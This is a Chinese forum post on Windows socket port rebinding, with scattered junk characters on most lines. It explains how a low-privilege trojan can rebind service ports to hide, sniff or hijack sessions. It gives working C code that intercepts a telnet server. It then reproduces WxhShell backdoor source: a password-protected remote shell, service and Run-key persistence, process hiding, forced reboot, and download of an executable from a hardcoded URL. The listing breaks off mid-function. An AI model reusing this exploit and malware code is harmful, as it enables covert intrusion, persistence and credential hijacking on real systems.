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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DoG%T(M!a9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P/`m3aSzX.  
sVcdj|j  
  saddr.sin_family = AF_INET; \c68n  
> i`8R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }3sN+4  
gV.f*E1C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qwP$~Bj  
&>V/X{>$`K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 " <*nZ~nE)  
q\U4n[Zk  
  这意味着什么?意味着可以进行如下的攻击: }Eb]9c\  
+',^((o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `x4E;Wjv  
|1i]L@&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :Q=z=`*2w  
UnjNR[=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `+^sW#ki  
Ivjw<XP6K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IwM8#6;S~  
_iq2([BpL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q^|6J#o[9  
@9<S*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t]r7cA  
x?rbgsB5&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &_YtY47  
dQ`:8S K  
  #include Dh?vU~v(6  
  #include W[GQ[h  
  #include ,,}sK  
  #include    ~xE=mg4le  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -HN%B?}. x  
  int main()  Db,= 2e  
  { & L3UlL  
  WORD wVersionRequested; )ZN(2z  
  DWORD ret; %awVVt{aG  
  WSADATA wsaData; 363cuRP  
  BOOL val; CvP`2S\  
  SOCKADDR_IN saddr; M`bL5J;  
  SOCKADDR_IN scaddr; L=,Y1nO:p  
  int err; /4^G34  
  SOCKET s; '}T;b}&s  
  SOCKET sc; s{cKBau  
  int caddsize; ;*.(.  
  HANDLE mt; w'|&5cS  
  DWORD tid;   N-D(y  
  wVersionRequested = MAKEWORD( 2, 2 ); Yg$@Wb6  
  err = WSAStartup( wVersionRequested, &wsaData ); '1]+8E `Z  
  if ( err != 0 ) { l3BD <PB2S  
  printf("error!WSAStartup failed!\n"); xHm/^C&px  
  return -1; }}s8D>;G~  
  } [pr 9 $Jr  
  saddr.sin_family = AF_INET; u\:rY)V  
   z^gi[ mi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fWd~-U0M^  
j=FMYd8$y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d b<q-u  
  saddr.sin_port = htons(23); J &{qppN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _IC,9bbg  
  { v;Swo("  
  printf("error!socket failed!\n"); ^g70AqUc  
  return -1; 8g.AT@ ,Q  
  } jk K#e$7  
  val = TRUE; cJSVT8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g;(_Y1YQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W0C{~|e  
  { ]c5DOv&  
  printf("error!setsockopt failed!\n"); v'h3CaA9j  
  return -1; @X K>  
  } ^=Q8]W_*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k\nH&nb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `i=JjgG@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h-Tsi:%b  
^WmGo]<B_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \5t`p67Ve_  
  { ESn6D@"  
  ret=GetLastError(); p(~Y" H  
  printf("error!bind failed!\n"); s Ke,  
  return -1; ? 7/W>  
  } 3fm;r5  
  listen(s,2); '`9%'f)  
  while(1) 1NuR/DO  
  { -,FK{[h]ka  
  caddsize = sizeof(scaddr); W\&WS"=~  
  //接受连接请求 wTB)v!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TNyK@~#m  
  if(sc!=INVALID_SOCKET) c!tvG*{  
  { gTqeJWX9wP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;,<r|.6U  
  if(mt==NULL) ".Lhte R?  
  { ay=KfY5  
  printf("Thread Creat Failed!\n"); q1U&vZ3]c  
  break; i:V0fBR[>  
  } rn5"o8|  
  } /_ $~rW  
  CloseHandle(mt); 8.*\+nH  
  } L@>^_p$  
  closesocket(s); \d `dV0X  
  WSACleanup(); JX2mTQ  
  return 0; >]:N?[Y_~}  
  }   oP+kAV#]  
  DWORD WINAPI ClientThread(LPVOID lpParam) uo]Hi^r.l  
  { [u/zrpTk  
  SOCKET ss = (SOCKET)lpParam; c_@XQ&DC`  
  SOCKET sc; 3DxZ#/!  
  unsigned char buf[4096]; t)\D  
  SOCKADDR_IN saddr; K?5B>dv@A  
  long num; 2=igS#h  
  DWORD val; ` %FIgE^  
  DWORD ret; }V\P,ck  
  //如果是隐藏端口应用的话,可以在此处加一些判断 di8W2cwz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]cx"  
  saddr.sin_family = AF_INET; /d{glOk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QN)/,=#  
  saddr.sin_port = htons(23); 8W19#?7>B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JVD@I{  
  { 'dmp4VT3  
  printf("error!socket failed!\n"); ybD{4&ZE  
  return -1; W2}%zux  
  } }s`jl` `PM  
  val = 100; g2+l@$W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *Gg1h@&  
  { di-O*ug  
  ret = GetLastError(); Aivu%}_|  
  return -1; l84h%,  
  } a9yIV5_N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ArNur~  
  { u3Zzu\{  
  ret = GetLastError(); EO4" Z@ji  
  return -1; E\{^0vNc  
  } Vpug"aR&_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kV*y_5g  
  { u} JQTro  
  printf("error!socket connect failed!\n"); Fv?R\`52u  
  closesocket(sc); M[:O(  
  closesocket(ss); Gl?P.BCW.&  
  return -1; ke3HK9P;  
  } n.2E8m/  
  while(1) iYO wB'z  
  { (t]lP/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E[)7tr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r[.zLXgK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N oX_?  
  num = recv(ss,buf,4096,0); m&Y; /kr  
  if(num>0) 8CHb~m@^$  
  send(sc,buf,num,0); .nj?;).  
  else if(num==0) Rz<d%C;R  
  break; A2g"=x[1@K  
  num = recv(sc,buf,4096,0); }XfS#Xr1aV  
  if(num>0) {ED(O -W  
  send(ss,buf,num,0); GN htnB  
  else if(num==0) rK(x4]I l"  
  break; 1R5\GKF6o  
  } K#9(|2 J%  
  closesocket(ss); xZ9}8*Q&:  
  closesocket(sc); ]wkSAi5z*  
  return 0 ; '8r8 ^g[  
  } dO 1-c`  
5XSxQG@k^z  
Sb:zN'U  
========================================================== /(hP7_]`2  
b qg]DO$*  
下边附上一个代码,,WXhSHELL /%J&/2Wz  
< "L){$  
========================================================== ,? 0-=o  
BNL8hK`D  
#include "stdafx.h" L}e"nzTE6I  
a@5xz)  
#include <stdio.h> /%ODJ1M  
#include <string.h> j=xtnIq  
#include <windows.h> E6k?+i w  
#include <winsock2.h> H y.3ccZ0  
#include <winsvc.h> a'_MhJzs  
#include <urlmon.h> H0D>A<Ue  
%# Wg^l '  
#pragma comment (lib, "Ws2_32.lib")  Vq .!(x  
#pragma comment (lib, "urlmon.lib") *O(/UVuD\  
s3MMICRT.  
#define MAX_USER   100 // 最大客户端连接数 gCk y(4  
#define BUF_SOCK   200 // sock buffer e_>rJWI}  
#define KEY_BUFF   255 // 输入 buffer o-Q]Dk1W  
Ww'TCWk@  
#define REBOOT     0   // 重启 r?5@Etpg  
#define SHUTDOWN   1   // 关机 Uf7F8JZmM  
!\&7oAs=I  
#define DEF_PORT   5000 // 监听端口 )MD*)O  
}Ll3AR7\  
#define REG_LEN     16   // 注册表键长度 XvA0nEi  
#define SVC_LEN     80   // NT服务名长度 &{%S0\K Y  
u'$yYzBE  
// 从dll定义API :"<B@Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hdsgOu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AjL?Qh4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8aZey_Hw;+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  z~}StCH(  
| z(Ws  
// wxhshell配置信息 (Qx-KRH  
struct WSCFG { 5|6z1{g8  
  int ws_port;         // 监听端口 #5ohmp,u  
  char ws_passstr[REG_LEN]; // 口令 VJ6>3  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8H 3!; ]  
  char ws_regname[REG_LEN]; // 注册表键名 q5I4'6NF  
  char ws_svcname[REG_LEN]; // 服务名 282+1X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +QXYU8bYZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ArmL,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \[IdR^<YM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SVg@xu+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l|ZzG4]+l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 px [1#*  
j quSR=  
}; N}l]Ilm$34  
QN}3S0  
// default Wxhshell configuration 1(:=j Ofk  
struct WSCFG wscfg={DEF_PORT, tRUsZl  
    "xuhuanlingzhe", Zm; +Ku>  
    1, ZB^4(F')H  
    "Wxhshell", [#Nx>RY  
    "Wxhshell", MR)KLM0  
            "WxhShell Service", o$blPTN  
    "Wrsky Windows CmdShell Service", ,I2re G  
    "Please Input Your Password: ", jC/JiI  
  1, (;2J(GZ:$U  
  "http://www.wrsky.com/wxhshell.exe", {ck  
  "Wxhshell.exe" :LIKp;  
    }; l6`d48U  
2;?wN`}5g=  
// 消息定义模块 S)'q:`tZo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dnX`F5zd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,[ J'!NC1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q| =q:4_L  
char *msg_ws_ext="\n\rExit."; ~g4rGz  
char *msg_ws_end="\n\rQuit."; p\]LEP\z,  
char *msg_ws_boot="\n\rReboot..."; bZOy~F|  
char *msg_ws_poff="\n\rShutdown..."; bF Y)o Z  
char *msg_ws_down="\n\rSave to "; rCSG@D.  
S9"y@F <  
char *msg_ws_err="\n\rErr!"; S~a:1 _Wl  
char *msg_ws_ok="\n\rOK!"; WH*=81)zp  
X_sG6Q@  
char ExeFile[MAX_PATH]; h&k ^l,  
int nUser = 0; DT(Zv2  
HANDLE handles[MAX_USER]; b1,T!xL  
int OsIsNt; rd 35)  
F{H0 %  
SERVICE_STATUS       serviceStatus; -< dMD_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W'2-3J  
G}dOx}kT  
// 函数声明 Lq $4.l[j  
int Install(void); 2W:?#h3  
int Uninstall(void); SE}RP3dF!  
int DownloadFile(char *sURL, SOCKET wsh); lRATrp#T  
int Boot(int flag); }Mb'tGW  
void HideProc(void); x{`<);CQ  
int GetOsVer(void); KlqJ EtO_  
int Wxhshell(SOCKET wsl); /qhm9~4e3  
void TalkWithClient(void *cs); I`$I0  
int CmdShell(SOCKET sock); 'ZZ WH  
int StartFromService(void); &CeF^   
int StartWxhshell(LPSTR lpCmdLine); uuK]<h*  
;pNbKf:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gl7vM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); > %cWTC  
PN^1  
// 数据结构和表定义 wR<QeH'V  
SERVICE_TABLE_ENTRY DispatchTable[] = L z>{FOR  
{ ~S=fMv^BR  
{wscfg.ws_svcname, NTServiceMain}, E~@HC5.M  
{NULL, NULL} NF)\">Ye  
}; ,;e-37^0l  
{6y.%ysU  
// 自我安装 Q.E^9giC  
int Install(void) =jv$ 1  
{ sd@gEp)L  
  char svExeFile[MAX_PATH]; FQ~ead36C  
  HKEY key; iN/!k.ybW}  
  strcpy(svExeFile,ExeFile); [BR}4(7  
RJs G]`  
// 如果是win9x系统,修改注册表设为自启动 K84cE  
if(!OsIsNt) { H6CGc0NS+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qH$rvD!]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : )"jh`  
  RegCloseKey(key); i~s9Ot  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hkz~9p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $HCAC 4  
  RegCloseKey(key); BaTOh'52  
  return 0; ^]!1'xg  
    } Yl~?MOk  
  } 2c`=S5  
} ?gMrcc/{  
else { RqjDMN:  
TN@JPoH  
// 如果是NT以上系统,安装为系统服务 +-YuBVHL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T&MS_E&;  
if (schSCManager!=0) M*@ aA XM  
{ QDT{Xg* I  
  SC_HANDLE schService = CreateService T2_#[bk*d  
  ( Ihq@|s8  
  schSCManager, a;owG/\p  
  wscfg.ws_svcname, .,K?\WZ  
  wscfg.ws_svcdisp, ~0r.3KTl"Y  
  SERVICE_ALL_ACCESS, KY34 'Di  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s!fY^3  
  SERVICE_AUTO_START, /z?7ic0  
  SERVICE_ERROR_NORMAL, M"l rwun^  
  svExeFile, o^"3C1j  
  NULL, wp GnS  
  NULL, DMZ aMY|  
  NULL, X*yp=qI  
  NULL, Vyq<T(5  
  NULL C2|2XL'l(C  
  ); ?CZD^>6  
  if (schService!=0) 3[i !2iL.  
  { H;Qn?^  
  CloseServiceHandle(schService); uW'4 Kt  
  CloseServiceHandle(schSCManager); QuRg(K%:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^(JbJ@m/  
  strcat(svExeFile,wscfg.ws_svcname); GfPz^F=ie.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N4DDH^h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lR2;g:&H  
  RegCloseKey(key); L[r0UXYLV  
  return 0; 0HuRFl  
    } f\r4[gU@  
  } >^GCSPe  
  CloseServiceHandle(schSCManager); +5|nCp6||j  
} % j{pz  
} mKn357:  
F1*rUsRKN  
return 1; #TwE??ms  
} ]3u'Qv}o  
,(W98}nB  
// 自我卸载 z\d2T%^:g(  
int Uninstall(void) VgTI2  
{ 'J0s%m|j  
  HKEY key; hg=G//  
0F'UFn>{  
if(!OsIsNt) { rAw1g,&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NKhR%H  
  RegDeleteValue(key,wscfg.ws_regname); m$qC 8z]  
  RegCloseKey(key); Hf!4(\yN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KY&,(z   
  RegDeleteValue(key,wscfg.ws_regname); ,[1`'nN@g  
  RegCloseKey(key); o(NyOC  
  return 0; FtDA k?  
  } }v ,P3  
} .(]1PKW  
} /G+gk0FW  
else { #R4KBXN  
% peb{i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m1i$>9,  
if (schSCManager!=0) c} ET#2,  
{ cNc _ n<M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )K3 vzX  
  if (schService!=0) tg3JU\  
  { EXzNehO~e  
  if(DeleteService(schService)!=0) { lA 0_I"b2Y  
  CloseServiceHandle(schService); JlGD.!`  
  CloseServiceHandle(schSCManager); /O9EI'40)  
  return 0; bx e97]  
  } |o) _=Fx  
  CloseServiceHandle(schService); tKGsrgoV  
  } ^WPV  
  CloseServiceHandle(schSCManager); +%9Y7qol  
} q\Kdu5x{  
} =8_TOvSJ4p  
vqZM89 xY  
return 1; 31Mc<4zI8  
} ]3jH^7[?  
TFPq(i  
// 从指定url下载文件 %k)I =|  
int DownloadFile(char *sURL, SOCKET wsh) i>zyn-CuW  
{ :#jv4N  
  HRESULT hr; )!-'SH  
char seps[]= "/"; .]c:Zt}P  
char *token; 1M+!cX  
char *file; RUh{^3;~  
char myURL[MAX_PATH]; y36aoKH  
char myFILE[MAX_PATH]; \>7-<7+I6  
q0Pu6"^  
strcpy(myURL,sURL); (OJ9@_fgG[  
  token=strtok(myURL,seps); Z@A1+kUS  
  while(token!=NULL) RE$-{i  
  { f L?~1i =  
    file=token; m uY^Fx  
  token=strtok(NULL,seps); L$Z_j()2  
  } [_1G\z_iE  
kO4~N-&  
GetCurrentDirectory(MAX_PATH,myFILE); YWFHiB7x  
strcat(myFILE, "\\"); %&(\dt&R1h  
strcat(myFILE, file); i.4[]f[/h  
  send(wsh,myFILE,strlen(myFILE),0); Ooy96M~_G  
send(wsh,"...",3,0); Lr&BZM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -v@^6bQVp  
  if(hr==S_OK) _nq n|  
return 0; }cmL{S  
else ,DLNI0uV  
return 1; ')RK(I  
8;3FTF  
} ^o:5B%}#[  
>UH=]$0N  
// 系统电源模块 1sA-BQL  
int Boot(int flag) wX;NU4)n  
{ P 'k39  
  HANDLE hToken; A79SAheX#  
  TOKEN_PRIVILEGES tkp; oGJI3Oh  
w2GY,,R  
  if(OsIsNt) { v}@ 6"\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $=R\3:j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4HAfTQ 1G  
    tkp.PrivilegeCount = 1; 5S bSz!s`$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5GP' cE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B4=gMVp1  
if(flag==REBOOT) { u}_q'=<\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :;QLoZh^  
  return 0; zV#k #/$  
} St<\qC  
else { 5Z{[.&x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ycm1 _z  
  return 0; u 05O[>w  
} z)Gr`SA<  
  } >EjBk nl  
  else { b-XBs7OAx  
if(flag==REBOOT) { FliN@RNo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "`zw(  
  return 0; _G`aI*rKsy  
} M:N> {_1&  
else { B}.ia_&DLR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k9 E ?5  
  return 0; 8~7EWl  
} V-57BKeDz  
} ( ;q$cKy  
4"@yGXUb  
return 1; '_8Vay~  
} pQD8#y)`C  
;x"B ):?\  
// win9x进程隐藏模块 1L ow[i  
void HideProc(void) z$A5p4=B'^  
{ r&w>+KIt  
6O?O6Ub  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UHHe~L  
  if ( hKernel != NULL ) }T6jQ:?@  
  { eZHi6v)i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [z?XVl<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $xqphhBg  
    FreeLibrary(hKernel); %3cBh v[q4  
  } (1R,   
99x]DY  
return; <K~#@.^`  
} |<S9nZg%p  
^H>vJT  
// 获取操作系统版本 {k>m5L  
int GetOsVer(void) ;J<kG@  
{ : &]%E/  
  OSVERSIONINFO winfo; : f Wh7X3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #t\Oq9}^  
  GetVersionEx(&winfo); #"jWPe,d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zR:S.e<  
  return 1; {=kA8U  
  else }x+{=%~N  
  return 0; na~ r}7 7o  
} $W)FpN;CW/  
{.sF&(e   
// 客户端句柄模块 *+iWB_  
int Wxhshell(SOCKET wsl) )g-*fSa  
{ <[*s%9)'9  
  SOCKET wsh; b`IC)xN$  
  struct sockaddr_in client; SYyH_0N  
  DWORD myID; G[jCmkK  
hFKYRZtP.8  
  while(nUser<MAX_USER) $`i&\O2*  
{ @$aCUJ/mE  
  int nSize=sizeof(client); 6w54+n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q\ ?6-?Mr  
  if(wsh==INVALID_SOCKET) return 1; tNtP+v-{  
c~cYNW:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C>LkU|[  
if(handles[nUser]==0) P5Fm<f8\  
  closesocket(wsh); dJ$}]   
else +Q{jV^IT9  
  nUser++; H|Eu,eq-E  
  }  oo2VT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \KG{ 11  
KzhldMJ^zq  
  return 0; )y8$-"D(it  
} s+4G`mq>*  
U,/>p=s  
// 关闭 socket yNO5h]o  
void CloseIt(SOCKET wsh) Y40{v(Pi  
{ =oSv=xY  
closesocket(wsh); %lvSO/F+  
nUser--; [z?q -$#  
ExitThread(0); sb;81?|  
} ~$+9L2gz  
?g!py[CrE  
// 客户端请求句柄 R# gip  
void TalkWithClient(void *cs) & %1XYpA.0  
{ 2mI=V.X[&  
CfAX,f"ZP  
  SOCKET wsh=(SOCKET)cs; TfMuQi'>  
  char pwd[SVC_LEN]; 5gi`&t`  
  char cmd[KEY_BUFF]; afH`<!  
char chr[1]; iN_G|w[d  
int i,j; U<*ZY`B3  
MOdodyG  
  while (nUser < MAX_USER) { p9Ks=\yvL  
eEXer>Rm   
if(wscfg.ws_passstr) { Q[S""P.Z|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [CJ&Yz Ji  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0IxXhu6v  
  //ZeroMemory(pwd,KEY_BUFF); @2]_jW  
      i=0;  z>hA1*Ti  
  while(i<SVC_LEN) { (@mvNlc:  
?-Fp rC  
  // 设置超时 ?~;G)5  
  fd_set FdRead; ~[Mm0L}8  
  struct timeval TimeOut; kpcIU7|e  
  FD_ZERO(&FdRead); _a^%V9t  
  FD_SET(wsh,&FdRead); y$7<ZBG  
  TimeOut.tv_sec=8; YcT!`B   
  TimeOut.tv_usec=0; J6Cw1Pi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /`3< @{D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h`,dg%J*B  
ZEp UHdin  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 i,}F|#8  
  pwd=chr[0]; * 3WK`9q  
  if(chr[0]==0xd || chr[0]==0xa) { @u#Tx%  
  pwd=0; EJ"[{AV  
  break; )EcE{!H6+  
  } Ag^Cb'3X  
  i++; z`]'~  
    } JiCDY)bu  
Q >] v?4  
  // 如果是非法用户,关闭 socket F`r=M%yh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q3*@m  
} W/OZ}ky}^  
}>>lgW>n,;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PSNfh7g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G BV]7.  
lZ'-?xo  
while(1) { VD#`1g<  
f =B)jYI  
  ZeroMemory(cmd,KEY_BUFF); s8Xort&   
FE,&_J"  
      // 自动支持客户端 telnet标准   $_%yr ~2  
  j=0; M S)(\&N  
  while(j<KEY_BUFF) { /{#1w\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "z8L}IC!e5  
  cmd[j]=chr[0]; 4Bsx[~ u&  
  if(chr[0]==0xa || chr[0]==0xd) { 8xW_N"P.>  
  cmd[j]=0; =Wn11JGh  
  break; -L}crQl.'c  
  } P33x/#VVE  
  j++; ^(r?k_i/  
    } "9:1>Gr{G  
HZ* <BjE:"  
  // 下载文件 wM8Gz.9,  
  if(strstr(cmd,"http://")) { s>~ h<B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =yJJq=!  
  if(DownloadFile(cmd,wsh)) 5B)Z@-x2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hosw :%  
  else )/A IfH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3R>U^ Y  
  } R s_bM@  
  else { Y; JV9{j  
1A^~gYr  
    switch(cmd[0]) { /"Ws3.p  
  Lwm2:_\_b  
  // 帮助 <1cYz\/ !M  
  case '?': { o[pv.:w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~OO&%\$k  
    break;  [R:\  
  } `],'fT|,S  
  // 安装 R`sU5:n  
  case 'i': { >jMq-#*4  
    if(Install()) i'aV=E5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9Br  
    else xrd@GTaI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {W*_^>;K  
    break; W=fs"<  
    } xO"fg9a  
  // 卸载 (lBgW z  
  case 'r': { .cJWYMC  
    if(Uninstall()) jp?;8rS3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X;25G  
    else uH 1%diL^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vf<VKP[9K  
    break; huVw+vAA  
    } f6@fi`U ,  
  // 显示 wxhshell 所在路径 -? {bCq  
  case 'p': {  &0! f_  
    char svExeFile[MAX_PATH]; z=C'qF`  
    strcpy(svExeFile,"\n\r"); ,5`pe%W7  
      strcat(svExeFile,ExeFile); KKpO<TO  
        send(wsh,svExeFile,strlen(svExeFile),0); @=4K%SCw  
    break; Rrh?0qWs  
    } \l)<NZ\  
  // 重启 =8FV&|fP  
  case 'b': { "|<6 bA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X-,scm  
    if(Boot(REBOOT)) KZ_d..l*W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Yx"3i,  
    else { L7oLV?k  
    closesocket(wsh); |L|)r)t  
    ExitThread(0); CGmObN8~'F  
    } ]gI>ay"\QA  
    break; T*YbmI]4  
    } c 4Q{  
  // 关机 <5rs~  
  case 'd': { #m yiZL %  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d67Q@ ')00  
